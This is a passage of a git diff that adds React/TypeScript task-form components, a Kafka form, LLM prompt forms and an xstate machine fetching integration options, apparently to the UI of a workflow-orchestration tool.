MIN_HEIGHT; + + return ( + { + handleEditorDidMount(editor, monaco); + }} + beforeMount={(monaco: Monaco) => { + if (disposeRef.current) { + disposeRef.current(); + disposeRef.current = null; + } + const disposable = monaco.languages.registerCompletionItemProvider( + "javascript", + { + provideCompletionItems: () => { + const inputVariables = _keys(taskRef?.current?.inputParameters); + let variableSuggestions: string[] = []; + if (inputVariables) { + variableSuggestions = inputVariables.map((item) => `$.${item}`); + } + variableSuggestions.push("$.joinOn"); + // Provide suggestions for JSON properties that start with the current text + const propertySuggestions = variableSuggestions.map( + (property) => ({ + label: property, + kind: monaco.languages.CompletionItemKind.Value, + insertText: `${property}`, + }), + ); + // Merge custom suggestions with JSON property suggestions + const suggestions = [...propertySuggestions]; + return { suggestions }; + }, + }, + ); + // IMPORTANT: keep `dispose()` bound to its disposable context. + // Destructuring `dispose` can lose `this` and throw "Unbound disposable context". + disposeRef.current = () => disposable.dispose(); + }} + width="100%" + height={autoSizeBox ? "auto" : minimumHeight} + defaultLanguage={language} + options={{ + ...smallEditorDefaultOptions, + ...(autoSizeBox && { scrollBeyondLastLine: false }), + ...additionalEditorOptions, + }} + value={taskRef?.current?.expression || ""} + {...restOfProps} + /> + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JOINTaskForm/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JOINTaskForm/index.ts new file mode 100644 index 0000000..7ad8cba --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JOINTaskForm/index.ts @@ -0,0 +1 @@ +export * from "./JOINTaskForm"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JSONField.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JSONField.tsx new file mode 100644 index 0000000..301e630 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JSONField.tsx @@ -0,0 +1,55 @@ +import { cloneElement, FunctionComponent } from "react"; +import { castToBooleanIfIsBooleanString } from "utils/utils"; +import { clone, path as _path } from "lodash/fp"; +import { updateField } from "utils/fieldHelpers"; + +export interface JSONFieldProps { + path: string; + onChange?: (value: any) => void; + taskJson: any; + checked?: boolean; + children: any; + enableCastToBoolean?: boolean; +} +const JSONField: FunctionComponent = ({ + path, + onChange, + taskJson, + checked, + children, + enableCastToBoolean = true, +}: JSONFieldProps) => { + return cloneElement(children, { + value: clone(_path(path, taskJson)), + checked: checked, + // Needed for special fields like the SinkSelector in EventTaskForm. + /* taskJson: taskJson, */ + onChange: (maybeEventOrValue: any, maybeValue: any) => { + // Guarding to automatically detect different types of event handlers + // working with different onChange signatures. + let newValue; + + // If the onChange signature is (event, value) + if (maybeEventOrValue?.target && maybeValue !== undefined) { + newValue = maybeValue; + // ...if it's just (event) + } else if (maybeEventOrValue?.nativeEvent && maybeValue === undefined) { + newValue = maybeEventOrValue.target.value; + // ...if it's just (value) + } else if (maybeEventOrValue) { + newValue = maybeEventOrValue; + } + + if (enableCastToBoolean) { + newValue = castToBooleanIfIsBooleanString(newValue); + } + + // if the outer onChange is defined, validate the value + if (onChange) { + onChange(updateField(path, newValue, taskJson)); + } + }, + }); +}; + +export default JSONField; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JSONJQTransformForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JSONJQTransformForm.tsx new file mode 100644 index 0000000..5b62620 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/JSONJQTransformForm.tsx @@ -0,0 +1,66 @@ +import { Box, Grid } from "@mui/material"; +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import _path from "lodash/fp/path"; +import { updateField } from "utils/fieldHelpers"; +import { configureJQLanguage } from "utils/monacoUtils/CodeEditorUtils"; +import JSONField from "./JSONField"; +import { Optional } from "./OptionalFieldForm"; + +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; + +const queryExpressionPath = "inputParameters.queryExpression"; + +export const JSONJQTransformForm = ({ task, onChange }: TaskFormProps) => { + return ( + + + + + + + + + + + + + + + onChange(updateField(queryExpressionPath, value, task)) + } + /> + + + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/KafkaTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/KafkaTaskForm.tsx new file mode 100644 index 0000000..d162622 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/KafkaTaskForm.tsx @@ -0,0 +1,127 @@ +import { Grid, Box } from "@mui/material"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; + +import { MaybeVariable } from "./MaybeVariable"; +import { useGetSetHandler } from "./useGetSetHandler"; +import { TaskType } from "types"; +import { Optional } from "./OptionalFieldForm"; +import { ConductorFlatMapForm } from "components/FlatMapForm/ConductorFlatMapForm"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { ConductorKeyValueInput } from "components/FlatMapForm/ConductorKeyValueInput"; + +const KAFKA_REQUEST = "inputParameters.kafka_request"; +const TOPIC_PATH = `${KAFKA_REQUEST}.topic`; +const TOPIC_VALUE = `${KAFKA_REQUEST}.value`; +const BOOTSTRAP_SERVER_PATH = `${KAFKA_REQUEST}.bootStrapServers`; +const HEADERS_PATH = `${KAFKA_REQUEST}.headers`; +const KEY_PATH = `${KAFKA_REQUEST}.key`; +const KEY_SERIALIZER_PATH = `${KAFKA_REQUEST}.keySerializer`; + +export const KafkaTaskForm = (props: TaskFormProps) => { + const { task, onChange } = props; + const [kafkaRequest, handleKafkaRequest] = useGetSetHandler( + props, + KAFKA_REQUEST, + ); + const [topic, handleTopicChange] = useGetSetHandler(props, TOPIC_PATH); + const [topicValue, handleTopicValue] = useGetSetHandler(props, TOPIC_VALUE); + const [bootstrapServer, handlerBootstrapServerPath] = useGetSetHandler( + props, + BOOTSTRAP_SERVER_PATH, + ); + const [headers, handlerHeadersPath] = useGetSetHandler(props, HEADERS_PATH); + const [key, handlerKey] = useGetSetHandler(props, KEY_PATH); + const [keySerializer, handlerKeySerializer] = useGetSetHandler( + props, + KEY_SERIALIZER_PATH, + ); + + return ( + + + + + {}} + value={topicValue} + onChangeKey={(newKey) => { + handleTopicChange(newKey); + }} + onChangeValue={(newValue: any) => { + handleTopicValue(newValue); + }} + hideButtons={true} + keyColumnLabel={"Topic:"} + valueColumnLabel={"Value:"} + enableAutocomplete={true} + /> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMChainTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMChainTaskForm.tsx new file mode 100644 index 0000000..e9d64e1 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMChainTaskForm.tsx @@ -0,0 +1,124 @@ +import { Grid, Box } from "@mui/material"; +import JSONField from "./JSONField"; +import Input from "components/ui/inputs/Input"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import Dropdown from "components/ui/inputs/Dropdown"; +import MuiButton from "components/ui/buttons/MuiButton"; +import { Link } from "react-router"; + +const LLMChainTaskForm = ({ task, onChange }: TaskFormProps) => ( + + + + + + + + + + + Prompt description: + + + + This prompt generates movie synopsis, pulled from a text, pdf, URL + or database.View more + + Test + + + + + + + + + + + + + + + + + + + + #1 Prompt variable description: + + + This prompt generates movie synopsis, pulled from a text, pdf, URL + or database.View more + + + + + + + + + + + #2 Prompt variable description: + + + This prompt generates movie synopsis, pulled from a text, pdf, URL + or database.View more + + + + + + +); +export default LLMChainTaskForm; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMChatCompleteTaskForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMChatCompleteTaskForm.tsx new file mode 100644 index 0000000..3dd7667 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMChatCompleteTaskForm.tsx @@ -0,0 +1,130 @@ +import { Box, Grid } from "@mui/material"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { path as _path } from "lodash/fp"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; +import { + fieldsToFieldsFieldsComponents, + updateField, +} from "utils/fieldHelpers"; +import { ConductorCacheOutput } from "./ConductorCacheOutputForm"; +import { LLMFormFields } from "./LLMFormFields/LLMFormFields"; +import LLMFormFieldsWrapper from "./LLMFormFields/LLMFormFieldsWrapper"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; + +const modelFields = [ + UiIntegrationsFieldType.LLM_PROVIDER, + UiIntegrationsFieldType.MODEL, +]; + +const messageFields = [UiIntegrationsFieldType.MESSAGES]; + +const fineTuningFields = [ + UiIntegrationsFieldType.TEMPERATURE, + UiIntegrationsFieldType.TOP_P, + UiIntegrationsFieldType.MAX_TOKENS, + UiIntegrationsFieldType.STOP_WORDS, +]; + +const outputFields = [UiIntegrationsFieldType.JSON_OUTPUT]; + +const modelFieldComponents = fieldsToFieldsFieldsComponents(modelFields); +const messageFieldComponents = fieldsToFieldsFieldsComponents(messageFields); +const fineTuningFieldComponents = + fieldsToFieldsFieldsComponents(fineTuningFields); +const outputFieldComponents = fieldsToFieldsFieldsComponents(outputFields); + +// INSTRUCTIONS is intentionally excluded from allFieldComponents — in OSS, the +// instructions/system-prompt is a plain textarea (below). Enterprise plugins +// override this section with a prompt-template picker that resolves promptName +// against the server's prompt library. +const allFieldComponents = [ + ...modelFieldComponents, + ...messageFieldComponents, + ...fineTuningFieldComponents, + ...outputFieldComponents, +]; + +export const LLMChatCompleteTaskForm = ({ task, onChange }: TaskFormProps) => { + const instructions = _path("inputParameters.instructions", task) || ""; + + return ( + + {(actor) => ( + + {/* OSS: plain textarea for system instructions / prompt. + Enterprise plugins replace this section with a prompt-template picker. */} + + + + + onChange( + updateField("inputParameters.instructions", v, task), + ) + } + multiline + rows={6} + fullWidth + placeholder="Enter system instructions or prompt for the model..." + /> + + + + + + + + + + + + + + + + + + + + + + + )} + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/ConductorArrayMapForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/ConductorArrayMapForm.tsx new file mode 100644 index 0000000..95a5578 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/ConductorArrayMapForm.tsx @@ -0,0 +1,143 @@ +import { Fragment, FunctionComponent } from "react"; +import { Box, Grid, IconButton } from "@mui/material"; +import { Button } from "components"; +import maybeVariable from "../maybeVariableHOC"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { ConductorEmptyGroupField } from "components/ui/inputs/ConductorEmptyGroupField"; +import AddIcon from "components/icons/AddIcon"; +import TrashIcon from "components/icons/TrashIcon"; + +const ROLE_SUGGESTION = ["user", "assistant", "system", "human"]; + +interface ConductorArrayMapFormFieldProps { + availableOptions: string[]; + onChange: (idx: number, role: string, message: string) => void; + idx: number; + data: { role: string; message: string }; + handleRemoveItem: (idx: number) => void; +} + +const ConductorArrayMapFormField: FunctionComponent< + ConductorArrayMapFormFieldProps +> = ({ availableOptions, onChange, idx, data, handleRemoveItem }) => { + return ( + + + { + onChange(idx, selectedKey, data.message); + }} + otherOptions={availableOptions} + value={data.role ?? ""} + label="Role" + /> + + + { + onChange(idx, data.role, val); + }} + value={data.message ?? ""} + label="Message" + /> + + + handleRemoveItem(idx)}> + + + + + ); +}; + +interface ConductorArrayMapFormProps { + value: { role: string; message: string }[]; + onChange: (messages: { role: string; message: string }[]) => void; +} + +const ConductorArrayMapFormBase: FunctionComponent< + ConductorArrayMapFormProps +> = ({ value, onChange }) => { + const handleAddItem = () => { + const newMessages = [...value, { role: "", message: "" }]; + onChange(newMessages); + }; + + const handleRemoveItem = (idx: number) => { + const newMessages = [...value]; + newMessages.splice(idx, 1); + onChange(newMessages); + }; + + const handleChangeItem = (idx: number, role: string, message: string) => { + const newMessages = [...value]; + newMessages[idx] = { role, message }; + onChange(newMessages); + }; + + return ( + <> + {(!value || value.length === 0) && ( + + )} + {Array.isArray(value) && value.length > 0 && ( + <> + + {value.map((item, idx) => ( + + + + ))} + + + + )} + + ); +}; + +const ConductorArrayMapForm = maybeVariable(ConductorArrayMapFormBase); +export { ConductorArrayMapForm, ConductorArrayMapFormBase }; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/LLMFormFields.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/LLMFormFields.tsx new file mode 100644 index 0000000..1cbc392 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/LLMFormFields.tsx @@ -0,0 +1,70 @@ +import { Grid } from "@mui/material"; +import { TaskDef } from "types"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; +import { FieldComponentType } from "utils/fieldHelpers"; +import { ActorRef } from "xstate"; +import { LLMFormFieldsEvents } from "./state"; + +interface LLMFormFieldsProps { + onChange: (task: Partial) => void; + task: Partial; + fieldFieldComponents: Array<[UiIntegrationsFieldType, FieldComponentType]>; + actor: ActorRef; +} + +const sizeMap = (type: UiIntegrationsFieldType) => { + if ( + [ + UiIntegrationsFieldType.PROMPT_NAME, + UiIntegrationsFieldType.VECTOR_DB, + UiIntegrationsFieldType.MESSAGES, + UiIntegrationsFieldType.INSTRUCTIONS, + UiIntegrationsFieldType.JSON_OUTPUT, + UiIntegrationsFieldType.STOP_WORDS, + ].includes(type) + ) { + return 12; + } + if ( + [ + UiIntegrationsFieldType.TEMPERATURE, + UiIntegrationsFieldType.TOP_P, + ].includes(type) + ) { + return 3; + } + return 6; +}; + +export const LLMFormFields = ({ + fieldFieldComponents, + onChange, + task, + actor, +}: LLMFormFieldsProps) => { + return ( + + {fieldFieldComponents.map(([type, FieldComponent]) => { + return ( + + + + ); + })} + + ); +}; + +export type { LLMFormFieldsProps }; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/LLMFormFieldsWrapper.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/LLMFormFieldsWrapper.tsx new file mode 100644 index 0000000..10054b5 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/LLMFormFieldsWrapper.tsx @@ -0,0 +1,182 @@ +import { useInterpret } from "@xstate/react"; +import React from "react"; +import { TaskDef } from "types"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; +import { FieldComponentType, updateField } from "utils/fieldHelpers"; +import { useAuthHeaders } from "utils/query"; +import { ActorRef } from "xstate"; +import { + LLMFormFieldsEvents, + LLMFormFieldsMachineContext, + SelectInstructionsEvent, + SelectPromptNameEvent, + llmFormFieldsMachine, +} from "./state"; + +interface LLMFormFieldsWrapperProps { + onChange: (task: Partial) => void; + task: Partial; + allFieldComponents: Array<[UiIntegrationsFieldType, FieldComponentType]>; + children: (actor: ActorRef) => React.ReactNode; +} + +const LLMFormFieldsWrapper = ({ + onChange, + task, + allFieldComponents, + children, +}: LLMFormFieldsWrapperProps) => { + const authHeaders = useAuthHeaders(); + const fields = allFieldComponents?.map(([type]) => type); + const actor = useInterpret(llmFormFieldsMachine, { + ...(process.env.NODE_ENV === "development" ? { devTools: true } : {}), + context: { + authHeaders, + fields, + task, + }, + actions: { + selectPromptName: ( + ctx: LLMFormFieldsMachineContext, + event: SelectPromptNameEvent, + ) => { + const maybeAvailablePromptName = ctx.promptNameOptions.find( + ({ name }) => name === event?.task?.inputParameters?.promptName, + ); + if (maybeAvailablePromptName) { + const newVariables = Object.fromEntries( + (maybeAvailablePromptName?.variables as string[]).map((l) => [ + l, + "", + ]), + ); + + const resultVariables = { + ...newVariables, + }; + + const taskWithVariables = updateField( + `inputParameters.promptVariables`, + resultVariables, + event.task, + ); + + let taskWithSelectedPromptName = updateField( + `inputParameters.${UiIntegrationsFieldType.PROMPT_NAME}`, + maybeAvailablePromptName?.name, + taskWithVariables, + ); + + // Auto-populate temperature if available in the prompt + if (maybeAvailablePromptName.temperature != null) { + taskWithSelectedPromptName = updateField( + `inputParameters.${UiIntegrationsFieldType.TEMPERATURE}`, + maybeAvailablePromptName.temperature, + taskWithSelectedPromptName, + ); + } + + // Auto-populate topP if available in the prompt + if (maybeAvailablePromptName.topP != null) { + taskWithSelectedPromptName = updateField( + `inputParameters.${UiIntegrationsFieldType.TOP_P}`, + maybeAvailablePromptName.topP, + taskWithSelectedPromptName, + ); + } + + // Auto-populate stopWords if available in the prompt + if (maybeAvailablePromptName.stopWords != null) { + taskWithSelectedPromptName = updateField( + `inputParameters.stopWords`, + maybeAvailablePromptName.stopWords, + taskWithSelectedPromptName, + ); + } + + onChange(taskWithSelectedPromptName); + } else { + const updatedTask = updateField( + `inputParameters.${UiIntegrationsFieldType.PROMPT_NAME}`, + event?.task?.inputParameters?.promptName, + event.task, + ); + + onChange(updatedTask); + } + }, + selectInstructions: ( + ctx: LLMFormFieldsMachineContext, + event: SelectInstructionsEvent, + ) => { + const maybeAvailablePromptName = ctx.promptNameOptions.find( + ({ name }) => name === event?.task?.inputParameters?.instructions, + ); + if (maybeAvailablePromptName) { + const newVariables = Object.fromEntries( + (maybeAvailablePromptName?.variables as string[]).map((l) => [ + l, + "", + ]), + ); + + const resultVariables = { + ...newVariables, + }; + + const taskWithVariables = updateField( + `inputParameters.promptVariables`, + resultVariables, + event.task, + ); + + let taskWithSelectedPromptName = updateField( + `inputParameters.${UiIntegrationsFieldType.INSTRUCTIONS}`, + maybeAvailablePromptName?.name, + taskWithVariables, + ); + + // Auto-populate temperature if available in the prompt + if (maybeAvailablePromptName.temperature != null) { + taskWithSelectedPromptName = updateField( + `inputParameters.${UiIntegrationsFieldType.TEMPERATURE}`, + maybeAvailablePromptName.temperature, + taskWithSelectedPromptName, + ); + } + + // Auto-populate topP if available in the prompt + if (maybeAvailablePromptName.topP != null) { + taskWithSelectedPromptName = updateField( + `inputParameters.${UiIntegrationsFieldType.TOP_P}`, + maybeAvailablePromptName.topP, + taskWithSelectedPromptName, + ); + } + + // Auto-populate stopWords if available in the prompt + if (maybeAvailablePromptName.stopWords != null) { + taskWithSelectedPromptName = updateField( + `inputParameters.stopWords`, + maybeAvailablePromptName.stopWords, + taskWithSelectedPromptName, + ); + } + + onChange(taskWithSelectedPromptName); + } else { + const updatedTask = updateField( + `inputParameters.${UiIntegrationsFieldType.INSTRUCTIONS}`, + event?.task?.inputParameters?.instructions, + event.task, + ); + + onChange(updatedTask); + } + }, + }, + }); + return <>{children(actor)}; +}; + +export default LLMFormFieldsWrapper; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/index.ts new file mode 100644 index 0000000..f410f2f --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/index.ts @@ -0,0 +1 @@ +export * from "./LLMFormFields"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/actions.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/actions.ts new file mode 100644 index 0000000..062b25a --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/actions.ts @@ -0,0 +1,55 @@ +import { assign, DoneInvokeEvent } from "xstate"; +import { LLMFormFieldsMachineContext } from "./types"; + +export const persistLlmProviderOptions = assign< + LLMFormFieldsMachineContext, + DoneInvokeEvent +>({ + llmProviderOptions: (_, { data }) => data, +}); + +export const persistModelOptions = assign< + LLMFormFieldsMachineContext, + DoneInvokeEvent +>({ + modelOptions: (_, { data }) => data, +}); + +export const persistPromptNameOptions = assign< + LLMFormFieldsMachineContext, + DoneInvokeEvent +>({ + promptNameOptions: (_, { data }) => data, +}); + +export const persistVectorDbOptions = assign< + LLMFormFieldsMachineContext, + DoneInvokeEvent +>({ + vectorDbOptions: (_, { data }) => data, +}); + +export const persistEmbeddingModelOptions = assign< + LLMFormFieldsMachineContext, + DoneInvokeEvent +>({ + embeddingModelOptions: (_, { data }) => data, +}); + +export const persistIndexesOptions = assign< + LLMFormFieldsMachineContext, + DoneInvokeEvent +>({ + indexOptions: (_, { data }) => data, +}); + +export const persistError = assign< + LLMFormFieldsMachineContext, + DoneInvokeEvent +>({ + error: (_, { data }) => ({ message: data, severity: "error" }), +}); + +export const persistSelectedPrompt = assign({ + selectedPrompt: (_, event: any) => event.prompt, +}); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/index.ts new file mode 100644 index 0000000..79fd822 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/index.ts @@ -0,0 +1,2 @@ +export * from "./machine"; +export * from "./types"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/machine.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/machine.ts new file mode 100644 index 0000000..7438488 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/machine.ts @@ -0,0 +1,150 @@ +import { createMachine } from "xstate"; +import { + LLMFormFieldsMachineContext, + LLMFormFieldsEvents, + LLMFormFieldsMachineStates, + LLMFormFieldsMachineEventTypes, +} from "./types"; +import * as services from "./services"; +import * as actions from "./actions"; +import { UiIntegrationsFieldType } from "types/FormFieldTypes"; + +export const llmFormFieldsMachine = createMachine< + LLMFormFieldsMachineContext, + LLMFormFieldsEvents +>( + { + id: "llmFormFieldsMachine", + predictableActionArguments: true, + initial: LLMFormFieldsMachineStates.DETERMINE_INITIAL_STATE, + context: { + task: {}, + fields: [], + llmProviderOptions: [], + modelOptions: [], + promptNameOptions: [], + vectorDbOptions: [], + indexOptions: [], + embeddingModelOptions: [], + selectedPromptName: undefined, + selectedPrompt: null, + }, + states: { + [LLMFormFieldsMachineStates.DETERMINE_INITIAL_STATE]: { + always: [ + { + target: LLMFormFieldsMachineStates.FETCH_VECTORDB_OPTIONS, + cond: (context) => + context.fields.some( + (field) => field === UiIntegrationsFieldType.VECTOR_DB, + ), + }, + { + target: LLMFormFieldsMachineStates.FETCH_LLM_PROVIDER_OPTIONS, + cond: (context) => + context.fields.some( + (field) => field === UiIntegrationsFieldType.LLM_PROVIDER, + ), + }, + ], + }, + [LLMFormFieldsMachineStates.IDLE]: { + on: { + [LLMFormFieldsMachineEventTypes.FOCUS_LLM_PROVIDER]: [ + { + target: LLMFormFieldsMachineStates.FETCH_LLM_PROVIDER_OPTIONS, + cond: (context: LLMFormFieldsMachineContext) => + context.llmProviderOptions.length === 0, + }, + { target: LLMFormFieldsMachineStates.IDLE }, + ], + [LLMFormFieldsMachineEventTypes.FOCUS_EMBEDDINGS_MODEL]: + LLMFormFieldsMachineStates.FETCH_EMBEDDINGS_MODEL, + [LLMFormFieldsMachineEventTypes.FOCUS_INDEX]: + LLMFormFieldsMachineStates.FETCH_INDEX_OPTIONS, + [LLMFormFieldsMachineEventTypes.FOCUS_PROMPT_NAMES]: + LLMFormFieldsMachineStates.FETCH_PROMPT_NAMES, + [LLMFormFieldsMachineEventTypes.FOCUS_VECTORDB]: [ + { + target: LLMFormFieldsMachineStates.FETCH_VECTORDB_OPTIONS, + cond: (context: LLMFormFieldsMachineContext) => + context.vectorDbOptions.length === 0, + }, + { target: LLMFormFieldsMachineStates.IDLE }, + ], + [LLMFormFieldsMachineEventTypes.FOCUS_MODEL]: + LLMFormFieldsMachineStates.FETCH_MODEL_OPTIONS, + [LLMFormFieldsMachineEventTypes.SELECT_PROMPT_NAME]: { + actions: "selectPromptName", + }, + [LLMFormFieldsMachineEventTypes.SELECT_INSTRUCTIONS]: { + actions: "selectInstructions", + }, + }, + }, + [LLMFormFieldsMachineStates.FETCH_LLM_PROVIDER_OPTIONS]: { + invoke: { + src: "fetchLlmProviderOptionsService", + onDone: { + actions: "persistLlmProviderOptions", + target: LLMFormFieldsMachineStates.IDLE, + }, + }, + }, + [LLMFormFieldsMachineStates.FETCH_MODEL_OPTIONS]: { + invoke: { + src: "fetchForModels", + onDone: { + actions: "persistModelOptions", + target: LLMFormFieldsMachineStates.IDLE, + }, + onError: LLMFormFieldsMachineStates.IDLE, + }, + }, + [LLMFormFieldsMachineStates.FETCH_VECTORDB_OPTIONS]: { + invoke: { + src: "fetchForVectorDb", + onDone: { + actions: "persistVectorDbOptions", + target: LLMFormFieldsMachineStates.IDLE, + }, + onError: LLMFormFieldsMachineStates.IDLE, + }, + }, + [LLMFormFieldsMachineStates.FETCH_PROMPT_NAMES]: { + invoke: { + src: "fetchForPromptNames", + onDone: { + actions: "persistPromptNameOptions", + target: LLMFormFieldsMachineStates.IDLE, + }, + onError: LLMFormFieldsMachineStates.IDLE, + }, + }, + [LLMFormFieldsMachineStates.FETCH_INDEX_OPTIONS]: { + invoke: { + src: "fetchForIndexes", + onDone: { + actions: "persistIndexesOptions", + target: LLMFormFieldsMachineStates.IDLE, + }, + onError: LLMFormFieldsMachineStates.IDLE, + }, + }, + [LLMFormFieldsMachineStates.FETCH_EMBEDDINGS_MODEL]: { + invoke: { + src: "fetchForEmbeddingModel", + onDone: { + actions: "persistEmbeddingModelOptions", + target: LLMFormFieldsMachineStates.IDLE, + }, + onError: LLMFormFieldsMachineStates.IDLE, + }, + }, + }, + }, + { + actions: actions as any, + services: services as any, + }, +); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/services.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/services.ts new file mode 100644 index 0000000..2b5a285 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/LLMFormFields/state/services.ts @@ -0,0 +1,156 @@ +import { queryClient } from "queryClient"; +import { fetchWithContext, fetchContextNonHook } from "plugins/fetch"; +import { LLMFormFieldsMachineContext, FocusEvent } from "./types"; +import { logger } from "utils/logger"; +import { IntegrationCategory } from "types/Integrations"; + +const fetchContext = fetchContextNonHook(); + +export const fetchLlmProviderOptionsService = async ({ + authHeaders: headers, +}: LLMFormFieldsMachineContext) => { + const path = `/integrations/provider?category=${IntegrationCategory.AI_MODEL}&activeOnly=true`; + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, path], + () => fetchWithContext(path, fetchContext, { headers }), + ); + return response; + } catch (error) { + logger.error(error); + return []; + } +}; + +export const fetchForModels = async ( + { authHeaders: headers }: LLMFormFieldsMachineContext, + { task }: FocusEvent, +) => { + const maybeLlmProvider = task?.inputParameters?.llmProvider; + if (maybeLlmProvider) { + const path = `/integrations/provider/${maybeLlmProvider}/integration?activeOnly=true`; + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, path], + () => fetchWithContext(path, fetchContext, { headers }), + ); + return response; + } catch (error) { + logger.error(error); + return []; + } + } + return []; +}; + +export const fetchForPromptNames = async ( + { authHeaders: headers }: LLMFormFieldsMachineContext, + { task }: FocusEvent, +) => { + const maybeLlmProvider = task?.inputParameters?.llmProvider; + const maybeModel = task?.inputParameters?.model; + + // If provider and model are both set, fetch prompts for that specific combination + if (maybeModel && maybeLlmProvider) { + const path = `/integrations/provider/${maybeLlmProvider}/integration/${maybeModel}/prompt`; + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, path], + () => fetchWithContext(path, fetchContext, { headers }), + ); + return response; + } catch (error) { + logger.error(error); + return []; + } + } + + // If provider/model are not set, fetch all prompts so users can see them + // This allows selecting a prompt before selecting provider/model + try { + const path = `/prompts`; + const response = await queryClient.fetchQuery( + [fetchContext.stack, path], + () => fetchWithContext(path, fetchContext, { headers }), + ); + return response; + } catch (error) { + logger.error(error); + return []; + } +}; + +export const fetchForVectorDb = async ({ + authHeaders: headers, +}: LLMFormFieldsMachineContext) => { + const path = `/integrations/provider?category=${IntegrationCategory.VECTOR_DB}&activeOnly=true`; + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, path], + () => fetchWithContext(path, fetchContext, { headers }), + ); + return response; + } catch (error) { + logger.error(error); + return []; + } +}; + +export const fetchForIndexes = async ( + { authHeaders: headers }: LLMFormFieldsMachineContext, + { task }: FocusEvent, +) => { + const maybeVectorDB = task?.inputParameters?.vectorDB; + if (maybeVectorDB) { + const path = `/integrations/provider/${maybeVectorDB}/integration?activeOnly=true`; + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, path], + () => fetchWithContext(path, fetchContext, { headers }), + ); + return response; + } catch (error) { + logger.error(error); + return []; + } + } + return []; +}; + +export const fetchForEmbeddingsModelProvider = async ({ + authHeaders: headers, +}: LLMFormFieldsMachineContext) => { + const path = `/integrations/provider?category=${IntegrationCategory.AI_MODEL}&activeOnly=true`; + try { + const response = await queryClient.fetchQuery( + [fetchContext.stack, path], + () => fetchWithContext(path, fetchContext, { headers }), + ); + return response; + } catch (error) { + logger.error(error); + return []; + } +}; + +export const fetchForEmbeddingModel = async ( + { authHeaders: headers }: LLMFormFieldsMachineContext, + { task }: FocusEvent, +) => { + 